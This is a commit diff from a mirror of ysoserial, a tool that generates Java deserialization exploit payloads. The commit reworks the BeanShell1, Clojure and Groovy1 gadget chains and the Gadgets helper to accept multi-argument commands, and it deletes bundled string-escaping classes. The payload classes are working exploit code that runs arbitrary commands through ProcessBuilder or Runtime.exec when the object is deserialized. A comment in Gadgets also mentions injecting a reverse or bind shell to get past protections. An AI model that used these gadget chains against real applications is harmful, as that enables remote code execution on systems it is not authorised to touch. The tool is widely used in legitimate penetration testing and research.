archive/ysoserial
1
0
Fork 0
mirror of https://github.com/frohoff/ysoserial.git synced 2026-09-22 07:00:44 +08:00
Code Issues Packages Projects Releases Wiki Activity

simplified escaping, addl multarg support

Browse Source
This commit is contained in:
Chris Frohoff
2017-09-24 14:28:34 -04:00
parent 61c8c124ed
commit 9e62a8912d
13 changed files with 56 additions and 705 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/ysoserial/Strings.java
+13
View File
@@ -50,6 +50,19 @@ public class Strings {
}
return lines;
}
public static String escapeJavaString(String str) {
return str.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"");
}
public static String[] escapeJavaStrings(String[] strs) {
String[] res = new String[strs.length];
for (int i = 0; i < res.length; i++) {
res[i] = escapeJavaString(strs[i]);
}
return res;
}
public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
src/main/java/ysoserial/payloads/BeanShell1.java
+28 -27
View File
@@ -7,6 +7,7 @@ import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.List;
import java.util.PriorityQueue;
import ysoserial.Strings;
@@ -22,41 +23,41 @@ import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" })
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
public class BeanShell1 extends ExtendedObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String[] command) throws Exception {
// BeanShell payload
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
Arrays.asList(Strings.escapeJavaStrings(command)),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(BeanShell1.class, args);
PayloadRunner.run(BeanShell1.class, args);
}
}
src/main/java/ysoserial/payloads/Clojure.java
+3 -16
View File
@@ -26,23 +26,11 @@ import java.util.Map;
*/
@Dependencies({"org.clojure:clojure:1.8.0"})
@Authors({ Authors.JACKOFMOSTTRADES })
public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
public class Clojure extends ExtendedObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(final String command) throws Exception {
public Map<?, ?> getObject(final String[] command) throws Exception {
// final String[] execArgs = command.split(" ");
// final StringBuilder commandArgs = new StringBuilder();
// for (String arg : execArgs) {
// commandArgs.append("\" \"");
// commandArgs.append(arg);
// }
// commandArgs.append("\"");
// final String clojurePayload =
// String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
String cmd = Strings.join(Arrays.asList(Strings.escapeJavaStrings(command)), " ", "\"", "\"");
final String clojurePayload =
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
@@ -70,5 +58,4 @@ public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Clojure.class, args);
}
}
src/main/java/ysoserial/payloads/Groovy1.java
+2 -2
View File
@@ -29,9 +29,9 @@ import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
@Authors({ Authors.FROHOFF })
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public class Groovy1 extends ExtendedObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
public InvocationHandler getObject(final String[] command) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
final Map map = Gadgets.createProxy(closure, Map.class);
src/main/java/ysoserial/payloads/util/Gadgets.java
+2 -6
View File
@@ -9,6 +9,7 @@ import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.HashMap;
import java.util.LinkedList;
import java.util.List;
@@ -18,7 +19,6 @@ import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import ysoserial.Strings;
import ysoserial.translate.JavaEscaper;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
@@ -117,11 +117,7 @@ public class Gadgets {
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
final List<String> escapedParams = new LinkedList<String>();
for (String param : command) {
escapedParams.add("\"" + JavaEscaper.escapeJava(param) + "\"");
}
String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + Strings.join(escapedParams, ", ") + "});";
String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + Strings.join(Arrays.asList(command), ", ", "\"", "\"") + "});";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
src/main/java/ysoserial/payloads/util/PayloadRunner.java
+8 -7
View File
@@ -1,5 +1,6 @@
package ysoserial.payloads.util;
import java.io.File;
import java.util.concurrent.Callable;
import ysoserial.Deserializer;
@@ -52,12 +53,12 @@ public class PayloadRunner {
}
private static String getFirstExistingFile(String ... files) {
return "calc.exe";
// for (String path : files) {
// if (new File(path).exists()) {
// return path;
// }
// }
// throw new UnsupportedOperationException("no known test executable");
// return "calc.exe";
for (String path : files) {
if (new File(path).exists()) {
return path;
}
}
throw new UnsupportedOperationException("no known test executable");
}
}
src/main/java/ysoserial/translate/AggregateTranslator.java
-68
View File
@@ -1,68 +0,0 @@
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package ysoserial.translate;
import java.io.IOException;
import java.io.Writer;
import java.util.ArrayList;
import java.util.List;
/**
* Executes a sequence of translators one after the other. Execution ends whenever
* the first translator consumes codepoints from the input.
*
* @since 1.0
*/
public class AggregateTranslator extends CharSequenceTranslator {
/**
* Translator list.
*/
private final List<CharSequenceTranslator> translators = new ArrayList<CharSequenceTranslator>();
/**
* Specify the translators to be used at creation time.
*
* @param translators CharSequenceTranslator array to aggregate
*/
public AggregateTranslator(final CharSequenceTranslator... translators) {
if (translators != null) {
for (CharSequenceTranslator translator : translators) {
if (translator != null) {
this.translators.add(translator);
}
}
}
}
/**
* The first translator to consume codepoints from the input is the 'winner'.
* Execution stops with the number of consumed codepoints being returned.
* {@inheritDoc}
*/
@Override
public int translate(final CharSequence input, final int index, final Writer out) throws IOException {
for (final CharSequenceTranslator translator : translators) {
final int consumed = translator.translate(input, index, out);
if (consumed != 0) {
return consumed;
}
}
return 0;
}
}
src/main/java/ysoserial/translate/CharSequenceTranslator.java
-138
View File
@@ -1,138 +0,0 @@
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package ysoserial.translate;
import java.io.IOException;
import java.io.StringWriter;
import java.io.Writer;
import java.util.Locale;
/**
* An API for translating text.
* Its core use is to escape and unescape text. Because escaping and unescaping
* is completely contextual, the API does not present two separate signatures.
*
* @since 1.0
*/
public abstract class CharSequenceTranslator {
/**
* Array containing the hexadecimal alphabet.
*/
static final char[] HEX_DIGITS = new char[] {'0', '1', '2', '3',
'4', '5', '6', '7',
'8', '9', 'A', 'B',
'C', 'D', 'E', 'F'};
/**
* Translate a set of codepoints, represented by an int index into a CharSequence,
* into another set of codepoints. The number of codepoints consumed must be returned,
* and the only IOExceptions thrown must be from interacting with the Writer so that
* the top level API may reliably ignore StringWriter IOExceptions.
*
* @param input CharSequence that is being translated
* @param index int representing the current point of translation
* @param out Writer to translate the text to
* @return int count of codepoints consumed
* @throws IOException if and only if the Writer produces an IOException
*/
public abstract int translate(CharSequence input, int index, Writer out) throws IOException;
/**
* Helper for non-Writer usage.
* @param input CharSequence to be translated
* @return String output of translation
*/
public final String translate(final CharSequence input) {
if (input == null) {
return null;
}
try {
final StringWriter writer = new StringWriter(input.length() * 2);
translate(input, writer);
return writer.toString();
} catch (final IOException ioe) {
// this should never ever happen while writing to a StringWriter
throw new RuntimeException(ioe);
}
}
/**
* Translate an input onto a Writer. This is intentionally final as its algorithm is
* tightly coupled with the abstract method of this class.
*
* @param input CharSequence that is being translated
* @param out Writer to translate the text to
* @throws IOException if and only if the Writer produces an IOException
*/
public final void translate(final CharSequence input, final Writer out) throws IOException {
if (input == null) {
return;
}
int pos = 0;
final int len = input.length();
while (pos < len) {
final int consumed = translate(input, pos, out);
if (consumed == 0) {
// inlined implementation of Character.toChars(Character.codePointAt(input, pos))
// avoids allocating temp char arrays and duplicate checks
final char c1 = input.charAt(pos);
out.write(c1);
pos++;
if (Character.isHighSurrogate(c1) && pos < len) {
final char c2 = input.charAt(pos);
if (Character.isLowSurrogate(c2)) {
out.write(c2);
pos++;
}
}
continue;
}
// contract with translators is that they have to understand codepoints
// and they just took care of a surrogate pair
for (int pt = 0; pt < consumed; pt++) {
pos += Character.charCount(Character.codePointAt(input, pos));
}
}
}
/**
* Helper method to create a merger of this translator with another set of
* translators. Useful in customizing the standard functionality.
*
* @param translators CharSequenceTranslator array of translators to merge with this one
* @return CharSequenceTranslator merging this translator with the others
*/
public final CharSequenceTranslator with(final CharSequenceTranslator... translators) {
final CharSequenceTranslator[] newArray = new CharSequenceTranslator[translators.length + 1];
newArray[0] = this;
System.arraycopy(translators, 0, newArray, 1, translators.length);
return new AggregateTranslator(newArray);
}
/**
* <p>Returns an upper case hexadecimal <code>String</code> for the given
* character.</p>
*
* @param codepoint The codepoint to convert.
* @return An upper case hexadecimal <code>String</code>
*/
public static String hex(final int codepoint) {
return Integer.toHexString(codepoint).toUpperCase(Locale.ENGLISH);
}
}
src/main/java/ysoserial/translate/CodePointTranslator.java
-51
View File
@@ -1,51 +0,0 @@
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package ysoserial.translate;
import java.io.IOException;
import java.io.Writer;
/**
* Helper subclass to CharSequenceTranslator to allow for translations that
* will replace up to one character at a time.
*
* @since 1.0
*/
public abstract class CodePointTranslator extends CharSequenceTranslator {
/**
* Implementation of translate that maps onto the abstract translate(int, Writer) method.
* {@inheritDoc}
*/
@Override
public final int translate(final CharSequence input, final int index, final Writer out) throws IOException {
final int codepoint = Character.codePointAt(input, index);
final boolean consumed = translate(codepoint, out);
return consumed ? 1 : 0;
}
/**
* Translate the specified codepoint into another.
*
* @param codepoint int character input to translate
* @param out Writer to optionally push the translated output to
* @return boolean as to whether translation occurred or not
* @throws IOException if and only if the Writer produces an IOException
*/
public abstract boolean translate(int codepoint, Writer out) throws IOException;
}
src/main/java/ysoserial/translate/JavaEscaper.java
-33
View File
@@ -1,33 +0,0 @@
package ysoserial.translate;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
public class JavaEscaper {
public static final Map<CharSequence, CharSequence> JAVA_CTRL_CHARS_ESCAPE;
public static final CharSequenceTranslator ESCAPE_JAVA;
static {
Map<CharSequence, CharSequence> initialMap = new HashMap<CharSequence, CharSequence>();
initialMap.put("\b", "\\b");
initialMap.put("\n", "\\n");
initialMap.put("\t", "\\t");
initialMap.put("\f", "\\f");
initialMap.put("\r", "\\r");
JAVA_CTRL_CHARS_ESCAPE = Collections.unmodifiableMap(initialMap);
Map<CharSequence, CharSequence> escapeJavaMap = new HashMap<CharSequence, CharSequence>();
escapeJavaMap.put("\"", "\\\"");
escapeJavaMap.put("\\", "\\\\");
ESCAPE_JAVA = new AggregateTranslator(
new LookupTranslator(Collections.unmodifiableMap(escapeJavaMap)),
new LookupTranslator(JAVA_CTRL_CHARS_ESCAPE),
JavaUnicodeEscaper.outsideOf(32, 0x7f)
);
}
public static final String escapeJava(final String input) {
return ESCAPE_JAVA.translate(input);
}
}
src/main/java/ysoserial/translate/JavaUnicodeEscaper.java
-113
View File
@@ -1,113 +0,0 @@
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package ysoserial.translate;
/**
* Translates codepoints to their Unicode escaped value suitable for Java source.
*
* @since 1.0
*/
public class JavaUnicodeEscaper extends UnicodeEscaper {
/**
* <p>
* Constructs a <code>JavaUnicodeEscaper</code> above the specified value (exclusive).
* </p>
*
* @param codepoint
* above which to escape
* @return the newly created {@code UnicodeEscaper} instance
*/
public static JavaUnicodeEscaper above(final int codepoint) {
return outsideOf(0, codepoint);
}
/**
* <p>
* Constructs a <code>JavaUnicodeEscaper</code> below the specified value (exclusive).
* </p>
*
* @param codepoint
* below which to escape
* @return the newly created {@code UnicodeEscaper} instance
*/
public static JavaUnicodeEscaper below(final int codepoint) {
return outsideOf(codepoint, Integer.MAX_VALUE);
}
/**
* <p>
* Constructs a <code>JavaUnicodeEscaper</code> between the specified values (inclusive).
* </p>
*
* @param codepointLow
* above which to escape
* @param codepointHigh
* below which to escape
* @return the newly created {@code UnicodeEscaper} instance
*/
public static JavaUnicodeEscaper between(final int codepointLow, final int codepointHigh) {
return new JavaUnicodeEscaper(codepointLow, codepointHigh, true);
}
/**
* <p>
* Constructs a <code>JavaUnicodeEscaper</code> outside of the specified values (exclusive).
* </p>
*
* @param codepointLow
* below which to escape
* @param codepointHigh
* above which to escape
* @return the newly created {@code UnicodeEscaper} instance
*/
public static JavaUnicodeEscaper outsideOf(final int codepointLow, final int codepointHigh) {
return new JavaUnicodeEscaper(codepointLow, codepointHigh, false);
}
/**
* <p>
* Constructs a <code>JavaUnicodeEscaper</code> for the specified range. This is the underlying method for the
* other constructors/builders. The <code>below</code> and <code>above</code> boundaries are inclusive when
* <code>between</code> is <code>true</code> and exclusive when it is <code>false</code>.
* </p>
*
* @param below
* int value representing the lowest codepoint boundary
* @param above
* int value representing the highest codepoint boundary
* @param between
* whether to escape between the boundaries or outside them
*/
public JavaUnicodeEscaper(final int below, final int above, final boolean between) {
super(below, above, between);
}
/**
* Converts the given codepoint to a hex string of the form {@code "\\uXXXX\\uXXXX"}.
*
* @param codepoint
* a Unicode code point
* @return the hex string for the given codepoint
*/
@Override
protected String toUtf16Escape(final int codepoint) {
final char[] surrogatePair = Character.toChars(codepoint);
return "\\u" + hex(surrogatePair[0]) + "\\u" + hex(surrogatePair[1]);
}
}
src/main/java/ysoserial/translate/LookupTranslator.java
-104
View File
@@ -1,104 +0,0 @@
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package ysoserial.translate;
import java.io.IOException;
import java.io.Writer;
import java.security.InvalidParameterException;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Map;
/**
* Translates a value using a lookup table.
*
* @since 1.0
*/
public class LookupTranslator extends CharSequenceTranslator {
/** The mapping to be used in translation. */
private final Map<String, String> lookupMap;
/** The first character of each key in the lookupMap. */
private final HashSet<Character> prefixSet;
/** The length of the shortest key in the lookupMap. */
private final int shortest;
/** The length of the longest key in the lookupMap. */
private final int longest;
/**
* Define the lookup table to be used in translation
*
* Note that, as of Lang 3.1 (the orgin of this code), the key to the lookup
* table is converted to a java.lang.String. This is because we need the key
* to support hashCode and equals(Object), allowing it to be the key for a
* HashMap. See LANG-882.
*
* @param lookupMap Map&lt;CharSequence, CharSequence&gt; table of translator
* mappings
*/
public LookupTranslator(final Map<CharSequence, CharSequence> lookupMap) {
if (lookupMap == null) {
throw new InvalidParameterException("lookupMap cannot be null");
}
this.lookupMap = new HashMap<String, String>();
this.prefixSet = new HashSet<Character>();
int currentShortest = Integer.MAX_VALUE;
int currentLongest = 0;
Iterator<Map.Entry<CharSequence, CharSequence>> it = lookupMap.entrySet().iterator();
while (it.hasNext()) {
Map.Entry<CharSequence, CharSequence> pair = it.next();
this.lookupMap.put(pair.getKey().toString(), pair.getValue().toString());
this.prefixSet.add(pair.getKey().charAt(0));
final int sz = pair.getKey().length();
if (sz < currentShortest) {
currentShortest = sz;
}
if (sz > currentLongest) {
currentLongest = sz;
}
}
this.shortest = currentShortest;
this.longest = currentLongest;
}
/**
* {@inheritDoc}
*/
@Override
public int translate(final CharSequence input, final int index, final Writer out) throws IOException {
// check if translation exists for the input at position index
if (prefixSet.contains(input.charAt(index))) {
int max = longest;
if (index + longest > input.length()) {
max = input.length() - index;
}
// implement greedy algorithm by trying maximum match first
for (int i = max; i >= shortest; i--) {
final CharSequence subSeq = input.subSequence(index, index + i);
final String result = lookupMap.get(subSeq.toString());
if (result != null) {
out.write(result);
return i;
}
}
}
return 0;
}
}
src/main/java/ysoserial/translate/UnicodeEscaper.java
-140
View File
@@ -1,140 +0,0 @@
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package ysoserial.translate;
import java.io.IOException;
import java.io.Writer;
/**
* Translates codepoints to their Unicode escaped value.
*
* @since 1.0
*/
public class UnicodeEscaper extends CodePointTranslator {
/** int value representing the lowest codepoint boundary. */
private final int below;
/** int value representing the highest codepoint boundary. */
private final int above;
/** whether to escape between the boundaries or outside them. */
private final boolean between;
/**
* <p>Constructs a <code>UnicodeEscaper</code> for all characters.
* </p>
*/
public UnicodeEscaper() {
this(0, Integer.MAX_VALUE, true);
}
/**
* <p>Constructs a <code>UnicodeEscaper</code> for the specified range. This is
* the underlying method for the other constructors/builders. The <code>below</code>
* and <code>above</code> boundaries are inclusive when <code>between</code> is
* <code>true</code> and exclusive when it is <code>false</code>. </p>
*
* @param below int value representing the lowest codepoint boundary
* @param above int value representing the highest codepoint boundary
* @param between whether to escape between the boundaries or outside them
*/
protected UnicodeEscaper(final int below, final int above, final boolean between) {
this.below = below;
this.above = above;
this.between = between;
}
/**
* <p>Constructs a <code>UnicodeEscaper</code> below the specified value (exclusive). </p>
*
* @param codepoint below which to escape
* @return the newly created {@code UnicodeEscaper} instance
*/
public static UnicodeEscaper below(final int codepoint) {
return outsideOf(codepoint, Integer.MAX_VALUE);
}
/**
* <p>Constructs a <code>UnicodeEscaper</code> above the specified value (exclusive). </p>
*
* @param codepoint above which to escape
* @return the newly created {@code UnicodeEscaper} instance
*/
public static UnicodeEscaper above(final int codepoint) {
return outsideOf(0, codepoint);
}
/**
* <p>Constructs a <code>UnicodeEscaper</code> outside of the specified values (exclusive). </p>
*
* @param codepointLow below which to escape
* @param codepointHigh above which to escape
* @return the newly created {@code UnicodeEscaper} instance
*/
public static UnicodeEscaper outsideOf(final int codepointLow, final int codepointHigh) {
return new UnicodeEscaper(codepointLow, codepointHigh, false);
}
/**
* <p>Constructs a <code>UnicodeEscaper</code> between the specified values (inclusive). </p>
*
* @param codepointLow above which to escape
* @param codepointHigh below which to escape
* @return the newly created {@code UnicodeEscaper} instance
*/
public static UnicodeEscaper between(final int codepointLow, final int codepointHigh) {
return new UnicodeEscaper(codepointLow, codepointHigh, true);
}
/**
* {@inheritDoc}
*/
@Override
public boolean translate(final int codepoint, final Writer out) throws IOException {
if (between) {
if (codepoint < below || codepoint > above) {
return false;
}
} else {
if (codepoint >= below && codepoint <= above) {
return false;
}
}
if (codepoint > 0xffff) {
out.write(toUtf16Escape(codepoint));
} else {
out.write("\\u");
out.write(HEX_DIGITS[(codepoint >> 12) & 15]);
out.write(HEX_DIGITS[(codepoint >> 8) & 15]);
out.write(HEX_DIGITS[(codepoint >> 4) & 15]);
out.write(HEX_DIGITS[(codepoint) & 15]);
}
return true;
}
/**
* Converts the given codepoint to a hex string of the form {@code "\\uXXXX"}.
*
* @param codepoint
* a Unicode code point
* @return the hex string for the given codepoint
*
*/
protected String toUtf16Escape(final int codepoint) {
return "\\u" + hex(codepoint);
}
}